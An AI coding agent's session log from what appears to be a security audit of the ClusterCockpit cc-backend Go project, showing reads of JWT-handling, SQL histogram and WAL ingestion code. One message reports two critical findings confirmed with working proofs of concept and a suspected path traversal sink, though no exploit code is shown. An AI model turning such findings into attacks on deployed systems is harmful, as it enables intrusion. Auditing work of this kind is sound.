{"parentUuid":"408cb12b-8661-4cd1-84fe-c496c0ba8d76","isSidechain":false,"attachment":{"type":"task_reminder","content":[],"itemCount":0},"type":"attachment","uuid":"1eccd7dc-36b7-4bd8-a58d-e16e0973bb2c","timestamp":"2026-06-04T16:50:09.071Z","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
{"parentUuid":"1eccd7dc-36b7-4bd8-a58d-e16e0973bb2c","isSidechain":false,"message":{"model":"claude-opus-4-8","id":"msg_01P8N3W2cVfgipkRgmgyK82M","type":"message","role":"assistant","content":[{"type":"thinking","thinking":"","signature":"EqsCCmMIDhgCKkAOKANSnHo+6ADaGkgJaQVOenOy5+XcjH3ibuC/l5T9WH1CV+a+Fb3zJsGbuyVWY0CRmvjVpEEQI7pNMO6jQo1TMg9jbGF1ZGUtb3B1cy00LTg4AEIIdGhpbmtpbmcSDGC4mv3uMrD4WclPqxoM3Iq9EHceys1+NvsNIjB7BsqZYakvmYPN4aeLzmXrdWoBx1QFWQPOi09hwICq5dHPubT6VVRY4V1JVdChcfwqdkLP2Ba935t1lm2HcQSSHbDO0OZcBXDSgaw19heVF4a0FqwSQIrbtIb+NxSh32U36kkPiTst6N83I1Y2HRaW9BZNMjhRTgirw9BmXkKwHzjOEzS0yV2T79w8vStw4P1vlSD4dVVO7MlCy7ODXkockkH190MfaFgYAQ=="}],"stop_reason":"tool_use","stop_sequence":null,"stop_details":null,"usage":{"input_tokens":131,"cache_creation_input_tokens":1221,"cache_read_input_tokens":61818,"output_tokens":175,"server_tool_use":{"web_search_requests":0,"web_fetch_requests":0},"service_tier":"standard","cache_creation":{"ephemeral_1h_input_tokens":1221,"ephemeral_5m_input_tokens":0},"inference_geo":"not_available","iterations":[{"input_tokens":131,"output_tokens":175,"cache_read_input_tokens":61818,"cache_creation_input_tokens":1221,"cache_creation":{"ephemeral_5m_input_tokens":0,"ephemeral_1h_input_tokens":1221},"type":"message"}],"speed":"standard"},"diagnostics":null},"requestId":"req_011CbiZewN9y78bfkMGazrbM","type":"assistant","uuid":"55e676e5-475c-4f0d-b7be-57e4b9976243","timestamp":"2026-06-04T16:50:11.344Z","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
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{"parentUuid":"9dd801a6-0b87-46e3-8ee3-6dc420c86ba8","isSidechain":false,"promptId":"7a77ddc6-2262-4b32-8011-df89cf5077ae","type":"user","message":{"role":"user","content":[{"tool_use_id":"toolu_01BoNTnoceEQXxw7pM6rRKbh","type":"tool_result","content":"90\t\t\t}\n91\t\t}\n92\t\n93\t\treturn \"\"\n94\t}\n95\t\n96\t// getUserFromJWT creates or retrieves a user based on JWT claims\n97\t// If validateUser is true, the user must exist in the database\n98\t// Otherwise, a new user object is created from claims\n99\t// authSource should be a schema.AuthSource constant (like schema.AuthViaToken)\n100\tfunc getUserFromJWT(claims jwt.MapClaims, validateUser bool, authType schema.AuthType, authSource schema.AuthSource) (*schema.User, error) {\n101\t\tsub := extractStringFromClaims(claims, \"sub\")\n102\t\tif sub == \"\" {\n103\t\t\treturn nil, errors.New(\"missing 'sub' claim in JWT\")\n104\t\t}\n105\t\n106\t\tif validateUser {\n107\t\t\t// Validate user against database\n108\t\t\tur := repository.GetUserRepository()\n109\t\t\tuser, err := ur.GetUser(sub)\n110\t\t\tif err != nil && err != sql.ErrNoRows {\n111\t\t\t\tcclog.Errorf(\"Error while loading user '%v': %v\", sub, err)\n112\t\t\t\treturn nil, fmt.Errorf(\"database error: %w\", err)\n113\t\t\t}\n114\t\n115\t\t\t// Deny any logins for unknown usernames\n116\t\t\tif user == nil || err == sql.ErrNoRows {\n117\t\t\t\tcclog.Warn(\"Could not find user from JWT in internal database.\")\n118\t\t\t\treturn nil, errors.New(\"unknown user\")\n119\t\t\t}\n120\t\n121\t\t\t// Return database user (with database roles)\n122\t\t\treturn user, nil\n123\t\t}\n124\t\n125\t\t// Create user from JWT claims\n126\t\tname := extractNameFromClaims(claims)\n127\t\troles := extractRolesFromClaims(claims, true) // Validate roles\n128\t\tprojects := extractProjectsFromClaims(claims)\n129\t\n130\t\treturn &schema.User{\n131\t\t\tUsername:   sub,\n132\t\t\tName:       name,\n133\t\t\tRoles:      roles,\n134\t\t\tProjects:   projects,\n135\t\t\tAuthType:   authType,\n136\t\t\tAuthSource: authSource,\n137\t\t}, nil\n138\t}\n139\t"}]},"uuid":"97ca02aa-7574-4449-b60d-fd9d46f676f1","timestamp":"2026-06-04T16:50:12.473Z","toolUseResult":{"type":"text","file":{"filePath":"/Users/jan/prg/ClusterCockpit/cc-backend/internal/auth/jwtHelpers.go","content":"\t\t}\n\t}\n\n\treturn \"\"\n}\n\n// getUserFromJWT creates or retrieves a user based on JWT claims\n// If validateUser is true, the user must exist in the database\n// Otherwise, a new user object is created from claims\n// authSource should be a schema.AuthSource constant (like schema.AuthViaToken)\nfunc getUserFromJWT(claims jwt.MapClaims, validateUser bool, authType schema.AuthType, authSource schema.AuthSource) (*schema.User, error) {\n\tsub := extractStringFromClaims(claims, \"sub\")\n\tif sub == \"\" {\n\t\treturn nil, errors.New(\"missing 'sub' claim in JWT\")\n\t}\n\n\tif validateUser {\n\t\t// Validate user against database\n\t\tur := repository.GetUserRepository()\n\t\tuser, err := ur.GetUser(sub)\n\t\tif err != nil && err != sql.ErrNoRows {\n\t\t\tcclog.Errorf(\"Error while loading user '%v': %v\", sub, err)\n\t\t\treturn nil, fmt.Errorf(\"database error: %w\", err)\n\t\t}\n\n\t\t// Deny any logins for unknown usernames\n\t\tif user == nil || err == sql.ErrNoRows {\n\t\t\tcclog.Warn(\"Could not find user from JWT in internal database.\")\n\t\t\treturn nil, errors.New(\"unknown user\")\n\t\t}\n\n\t\t// Return database user (with database roles)\n\t\treturn user, nil\n\t}\n\n\t// Create user from JWT claims\n\tname := extractNameFromClaims(claims)\n\troles := extractRolesFromClaims(claims, true) // Validate roles\n\tprojects := extractProjectsFromClaims(claims)\n\n\treturn &schema.User{\n\t\tUsername:   sub,\n\t\tName:       name,\n\t\tRoles:      roles,\n\t\tProjects:   projects,\n\t\tAuthType:   authType,\n\t\tAuthSource: authSource,\n\t}, nil\n}\n","numLines":50,"startLine":90,"totalLines":139}},"sourceToolAssistantUUID":"9dd801a6-0b87-46e3-8ee3-6dc420c86ba8","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
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{"parentUuid":"fcd88bb7-7f15-4fd7-b658-7788aeb06fac","isSidechain":false,"promptId":"7a77ddc6-2262-4b32-8011-df89cf5077ae","type":"user","message":{"role":"user","content":[{"tool_use_id":"toolu_01GdeiFEYaoBZkTawcKHpwxJ","type":"tool_result","content":"736\t\t\tmetricHisto, err := r.jobsMetricStatisticsHistogram(ctx, m, filter, targetBinCount)\n737\t\t\tif err != nil {\n738\t\t\t\tcclog.Warnf(\"Error while loading job metric statistics histogram: %s\", m)\n739\t\t\t\tcontinue\n740\t\t\t}\n741\t\t\tstat.HistMetrics = append(stat.HistMetrics, metricHisto)\n742\t\t}\n743\t\n744\t\tcclog.Debugf(\"Timer AddMetricHistograms %s\", time.Since(start))\n745\t\treturn stat, nil\n746\t}\n747\t\n748\t// jobsStatisticsHistogram generates a simple histogram by grouping on a column value.\n749\t//\n750\t// Used for histograms where the column value directly represents the bin (e.g., node count, core count).\n751\t// Unlike duration/metric histograms, this doesn't pre-initialize bins with zeros.\n752\t//\n753\t// Parameters:\n754\t//   - value: SQL expression that produces the histogram value, aliased as \"value\"\n755\t//   - filters: Job filters to apply\n756\t//\n757\t// Returns histogram points with Value (from column) and Count (number of jobs).\n758\tfunc (r *JobRepository) jobsStatisticsHistogram(\n759\t\tctx context.Context,\n760\t\tvalue string,\n761\t\tfilters []*model.JobFilter,\n762\t) ([]*model.HistoPoint, error) {\n763\t\tstart := time.Now()\n764\t\tquery, qerr := SecurityCheck(ctx,\n765\t\t\tsq.Select(value, \"COUNT(*) AS count\").From(\"job\"))\n766\t\n767\t\tif qerr != nil {\n768\t\t\treturn nil, qerr\n769\t\t}\n770\t\n771\t\tfor _, f := range filters {\n772\t\t\tquery = BuildWhereClause(f, query)\n773\t\t}\n774\t\n775\t\trows, err := query.GroupBy(\"value\").RunWith(r.DB).QueryContext(ctx)"}]},"uuid":"d5ece3d2-bf46-4af2-b4dc-82da1666d523","timestamp":"2026-06-04T16:50:28.506Z","toolUseResult":{"type":"text","file":{"filePath":"/Users/jan/prg/ClusterCockpit/cc-backend/internal/repository/stats.go","content":"\t\tmetricHisto, err := r.jobsMetricStatisticsHistogram(ctx, m, filter, targetBinCount)\n\t\tif err != nil {\n\t\t\tcclog.Warnf(\"Error while loading job metric statistics histogram: %s\", m)\n\t\t\tcontinue\n\t\t}\n\t\tstat.HistMetrics = append(stat.HistMetrics, metricHisto)\n\t}\n\n\tcclog.Debugf(\"Timer AddMetricHistograms %s\", time.Since(start))\n\treturn stat, nil\n}\n\n// jobsStatisticsHistogram generates a simple histogram by grouping on a column value.\n//\n// Used for histograms where the column value directly represents the bin (e.g., node count, core count).\n// Unlike duration/metric histograms, this doesn't pre-initialize bins with zeros.\n//\n// Parameters:\n//   - value: SQL expression that produces the histogram value, aliased as \"value\"\n//   - filters: Job filters to apply\n//\n// Returns histogram points with Value (from column) and Count (number of jobs).\nfunc (r *JobRepository) jobsStatisticsHistogram(\n\tctx context.Context,\n\tvalue string,\n\tfilters []*model.JobFilter,\n) ([]*model.HistoPoint, error) {\n\tstart := time.Now()\n\tquery, qerr := SecurityCheck(ctx,\n\t\tsq.Select(value, \"COUNT(*) AS count\").From(\"job\"))\n\n\tif qerr != nil {\n\t\treturn nil, qerr\n\t}\n\n\tfor _, f := range filters {\n\t\tquery = BuildWhereClause(f, query)\n\t}\n\n\trows, err := query.GroupBy(\"value\").RunWith(r.DB).QueryContext(ctx)","numLines":40,"startLine":736,"totalLines":1150}},"sourceToolAssistantUUID":"fcd88bb7-7f15-4fd7-b658-7788aeb06fac","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
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{"parentUuid":"d62d3a4d-169d-4f46-87d7-bf9ce6f49ffc","isSidechain":false,"message":{"model":"claude-opus-4-8","id":"msg_01FS8m9HB9MvsAdyU7KuXkdz","type":"message","role":"assistant","content":[{"type":"tool_use","id":"toolu_01AK5v9F7iCfmeYHREBtCuVR","name":"Read","input":{"file_path":"/Users/jan/prg/ClusterCockpit/cc-backend/internal/repository/stats.go","offset":710,"limit":27},"caller":{"type":"direct"}}],"stop_reason":"tool_use","stop_sequence":null,"stop_details":null,"usage":{"input_tokens":2,"cache_creation_input_tokens":2732,"cache_read_input_tokens":64029,"output_tokens":177,"server_tool_use":{"web_search_requests":0,"web_fetch_requests":0},"service_tier":"standard","cache_creation":{"ephemeral_1h_input_tokens":2732,"ephemeral_5m_input_tokens":0},"inference_geo":"not_available","iterations":[{"input_tokens":2,"output_tokens":177,"cache_read_input_tokens":64029,"cache_creation_input_tokens":2732,"cache_creation":{"ephemeral_5m_input_tokens":0,"ephemeral_1h_input_tokens":2732},"type":"message"}],"speed":"standard"},"diagnostics":null},"requestId":"req_011CbiZgMjtUSdaftzR9Riko","type":"assistant","uuid":"d47b4d1a-3066-42e3-a16d-a5498274e4b9","timestamp":"2026-06-04T16:50:32.417Z","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
{"parentUuid":"d47b4d1a-3066-42e3-a16d-a5498274e4b9","isSidechain":false,"promptId":"7a77ddc6-2262-4b32-8011-df89cf5077ae","type":"user","message":{"role":"user","content":[{"tool_use_id":"toolu_01AK5v9F7iCfmeYHREBtCuVR","type":"tool_result","content":"710\t// Limitations:\n711\t//   - Running jobs: Limited to 5000 jobs for performance\n712\t//   - Requires valid cluster configuration with metric peak values\n713\t//   - Uses footprint statistic (avg/max/min) configured per metric\n714\tfunc (r *JobRepository) AddMetricHistograms(\n715\t\tctx context.Context,\n716\t\tfilter []*model.JobFilter,\n717\t\tmetrics []string,\n718\t\tstat *model.JobsStatistics,\n719\t\ttargetBinCount *int,\n720\t) (*model.JobsStatistics, error) {\n721\t\tstart := time.Now()\n722\t\n723\t\t// Running Jobs Only: First query jobdata from sqlite, then query data and make bins\n724\t\tfor _, f := range filter {\n725\t\t\tif f.State != nil {\n726\t\t\t\tif len(f.State) == 1 && f.State[0] == \"running\" {\n727\t\t\t\t\tstat.HistMetrics = r.runningJobsMetricStatisticsHistogram(ctx, metrics, filter, targetBinCount)\n728\t\t\t\t\tcclog.Debugf(\"Timer AddMetricHistograms %s\", time.Since(start))\n729\t\t\t\t\treturn stat, nil\n730\t\t\t\t}\n731\t\t\t}\n732\t\t}\n733\t\n734\t\t// All other cases: Query and make bins in sqlite directly\n735\t\tfor _, m := range metrics {\n736\t\t\tmetricHisto, err := r.jobsMetricStatisticsHistogram(ctx, m, filter, targetBinCount)"}]},"uuid":"daf18aec-9a1b-46ab-91de-8807f3ca08b4","timestamp":"2026-06-04T16:50:32.444Z","toolUseResult":{"type":"text","file":{"filePath":"/Users/jan/prg/ClusterCockpit/cc-backend/internal/repository/stats.go","content":"// Limitations:\n//   - Running jobs: Limited to 5000 jobs for performance\n//   - Requires valid cluster configuration with metric peak values\n//   - Uses footprint statistic (avg/max/min) configured per metric\nfunc (r *JobRepository) AddMetricHistograms(\n\tctx context.Context,\n\tfilter []*model.JobFilter,\n\tmetrics []string,\n\tstat *model.JobsStatistics,\n\ttargetBinCount *int,\n) (*model.JobsStatistics, error) {\n\tstart := time.Now()\n\n\t// Running Jobs Only: First query jobdata from sqlite, then query data and make bins\n\tfor _, f := range filter {\n\t\tif f.State != nil {\n\t\t\tif len(f.State) == 1 && f.State[0] == \"running\" {\n\t\t\t\tstat.HistMetrics = r.runningJobsMetricStatisticsHistogram(ctx, metrics, filter, targetBinCount)\n\t\t\t\tcclog.Debugf(\"Timer AddMetricHistograms %s\", time.Since(start))\n\t\t\t\treturn stat, nil\n\t\t\t}\n\t\t}\n\t}\n\n\t// All other cases: Query and make bins in sqlite directly\n\tfor _, m := range metrics {\n\t\tmetricHisto, err := r.jobsMetricStatisticsHistogram(ctx, m, filter, targetBinCount)","numLines":27,"startLine":710,"totalLines":1150}},"sourceToolAssistantUUID":"d47b4d1a-3066-42e3-a16d-a5498274e4b9","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
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{"parentUuid":"5bbf86b8-f118-492e-84c0-e0ce0689113a","isSidechain":false,"message":{"model":"claude-opus-4-8","id":"msg_017dnwxyk5Np9nBRaLqUKXww","type":"message","role":"assistant","content":[{"type":"text","text":"Both criticals fully confirmed with working PoCs. Let me quickly verify the third finding (path traversal sink) before writing up."}],"stop_reason":"tool_use","stop_sequence":null,"stop_details":null,"usage":{"input_tokens":2,"cache_creation_input_tokens":890,"cache_read_input_tokens":67416,"output_tokens":698,"server_tool_use":{"web_search_requests":0,"web_fetch_requests":0},"service_tier":"standard","cache_creation":{"ephemeral_1h_input_tokens":890,"ephemeral_5m_input_tokens":0},"inference_geo":"not_available","iterations":[{"input_tokens":2,"output_tokens":698,"cache_read_input_tokens":67416,"cache_creation_input_tokens":890,"cache_creation":{"ephemeral_5m_input_tokens":0,"ephemeral_1h_input_tokens":890},"type":"message"}],"speed":"standard"},"diagnostics":null},"requestId":"req_011CbiZhVxmhNu9K9n5X1Qg3","type":"assistant","uuid":"18baa7e3-1a2a-457e-a997-79c6a12b23e1","timestamp":"2026-06-04T16:50:52.979Z","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
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{"parentUuid":"075fc7e7-2be2-4156-924c-fda38bbbf12a","isSidechain":false,"promptId":"7a77ddc6-2262-4b32-8011-df89cf5077ae","type":"user","message":{"role":"user","content":[{"tool_use_id":"toolu_01CdRAAock58E8j5jJvhMnRT","type":"tool_result","content":"\t\t\t\tws = &walFileState{f: f, w: w, size: fileSize}\n\t\t\t\thostFiles[hostDir] = ws\n\t\t\t\treturn ws\n\t\t\t}\n\n\t\t\tprocessMsg := func(msg *WALMessage) {\n\t\t\t\thostDir := path.Join(Keys.Checkpoints.RootDir, msg.Cluster, msg.Node)\n\t\t\t\tws := getOrOpenWAL(hostDir)\n\t\t\t\tif ws == nil {\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\t// Enforce max WAL size: force-rotate before writing if limit is exceeded.\n\t\t\t\t// The in-memory store still holds the data; only crash-recovery coverage is lost.\n\t\t\t\tif maxSize := Keys.Checkpoints.MaxWALSize; maxSize > 0 && ws.size >= maxSize {\n\t\t\t\t\tcclog.Warnf(\"[METRICSTORE]> WAL: force-rotating %s (size %d >= limit %d)\",\n\t\t\t\t\t\thostDir, ws.size, maxSize)\n\t\t\t\t\tws.w.Flush()\n\t\t\t\t\tws.f.Close()\n\t\t\t\t\twalPath := path.Join(hostDir, \"current.wal\")\n=== DecodeLine cluster/host handling ===\n9://\t<measurement>[,cluster=<c>][,hostname=<h>][,type=<t>][,type-id=<id>][,stype=<s>][,stype-id=<id>] value=<v> [<timestamp>]\n12:// routing information (cluster, host) and optional sub-device selectors (type,\n29:\tcclog \"github.com/ClusterCockpit/cc-lib/v2/ccLogger\"\n30:\t\"github.com/ClusterCockpit/cc-lib/v2/nats\"\n31:\t\"github.com/ClusterCockpit/cc-lib/v2/schema\"\n32:\t\"github.com/ClusterCockpit/cc-line-protocol/v2/lineprotocol\"\n60:\t\tclusterTag := sc.ClusterTag\n69:\t\t\t\t\t\tif err := DecodeLine(dec, ms, clusterTag); err != nil {\n85:\t\t\t\tif err := DecodeLine(dec, ms, clusterTag); err != nil {\n180:// clusterDefault is used as the cluster name for lines that do not carry a\n181:// \"cluster\" tag. Callers typically supply the ClusterTag value from the NATS\n186://   - The Level pointer (host-level node in the metric tree) is cached across\n187://     consecutive lines that share the same cluster+host pair to avoid\n188://     repeated lock acquisitions on the root and cluster levels.\n201:\tclusterDefault string,\n210:\t// cluster and host. By using `WriteToLevel` (level = host), we do not need\n211:\t// to take the root- and cluster-level lock as often.\n213:\tprevCluster, prevHost := \"\", \"\"\n233:\t\tcluster, host := clusterDefault, \"\"\n245:\t\t\tcase \"cluster\":\n246:\t\t\t\tif string(val) == prevCluster {\n247:\t\t\t\t\tcluster = prevCluster\n249:\t\t\t\t\tcluster = string(val)\n252:\t\t\tcase \"hostname\", \"host\":\n253:\t\t\t\tif string(val) == prevHost {","is_error":false}]},"uuid":"c68e44a5-705d-43a3-856f-6aac147f8e63","timestamp":"2026-06-04T16:54:14.861Z","toolUseResult":{"stdout":"\t\t\t\tws = &walFileState{f: f, w: w, size: fileSize}\n\t\t\t\thostFiles[hostDir] = ws\n\t\t\t\treturn ws\n\t\t\t}\n\n\t\t\tprocessMsg := func(msg *WALMessage) {\n\t\t\t\thostDir := path.Join(Keys.Checkpoints.RootDir, msg.Cluster, msg.Node)\n\t\t\t\tws := getOrOpenWAL(hostDir)\n\t\t\t\tif ws == nil {\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\t// Enforce max WAL size: force-rotate before writing if limit is exceeded.\n\t\t\t\t// The in-memory store still holds the data; only crash-recovery coverage is lost.\n\t\t\t\tif maxSize := Keys.Checkpoints.MaxWALSize; maxSize > 0 && ws.size >= maxSize {\n\t\t\t\t\tcclog.Warnf(\"[METRICSTORE]> WAL: force-rotating %s (size %d >= limit %d)\",\n\t\t\t\t\t\thostDir, ws.size, maxSize)\n\t\t\t\t\tws.w.Flush()\n\t\t\t\t\tws.f.Close()\n\t\t\t\t\twalPath := path.Join(hostDir, \"current.wal\")\n=== DecodeLine cluster/host handling ===\n9://\t<measurement>[,cluster=<c>][,hostname=<h>][,type=<t>][,type-id=<id>][,stype=<s>][,stype-id=<id>] value=<v> [<timestamp>]\n12:// routing information (cluster, host) and optional sub-device selectors (type,\n29:\tcclog \"github.com/ClusterCockpit/cc-lib/v2/ccLogger\"\n30:\t\"github.com/ClusterCockpit/cc-lib/v2/nats\"\n31:\t\"github.com/ClusterCockpit/cc-lib/v2/schema\"\n32:\t\"github.com/ClusterCockpit/cc-line-protocol/v2/lineprotocol\"\n60:\t\tclusterTag := sc.ClusterTag\n69:\t\t\t\t\t\tif err := DecodeLine(dec, ms, clusterTag); err != nil {\n85:\t\t\t\tif err := DecodeLine(dec, ms, clusterTag); err != nil {\n180:// clusterDefault is used as the cluster name for lines that do not carry a\n181:// \"cluster\" tag. Callers typically supply the ClusterTag value from the NATS\n186://   - The Level pointer (host-level node in the metric tree) is cached across\n187://     consecutive lines that share the same cluster+host pair to avoid\n188://     repeated lock acquisitions on the root and cluster levels.\n201:\tclusterDefault string,\n210:\t// cluster and host. By using `WriteToLevel` (level = host), we do not need\n211:\t// to take the root- and cluster-level lock as often.\n213:\tprevCluster, prevHost := \"\", \"\"\n233:\t\tcluster, host := clusterDefault, \"\"\n245:\t\t\tcase \"cluster\":\n246:\t\t\t\tif string(val) == prevCluster {\n247:\t\t\t\t\tcluster = prevCluster\n249:\t\t\t\t\tcluster = string(val)\n252:\t\t\tcase \"hostname\", \"host\":\n253:\t\t\t\tif string(val) == prevHost {","stderr":"","interrupted":false,"isImage":false,"noOutputExpected":false},"sourceToolAssistantUUID":"075fc7e7-2be2-4156-924c-fda38bbbf12a","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
{"parentUuid":"c68e44a5-705d-43a3-856f-6aac147f8e63","isSidechain":false,"message":{"model":"claude-opus-4-8","id":"msg_01LRsvuE6yD1hC1hxFwk75GG","type":"message","role":"assistant","content":[{"type":"thinking","thinking":"","signature":"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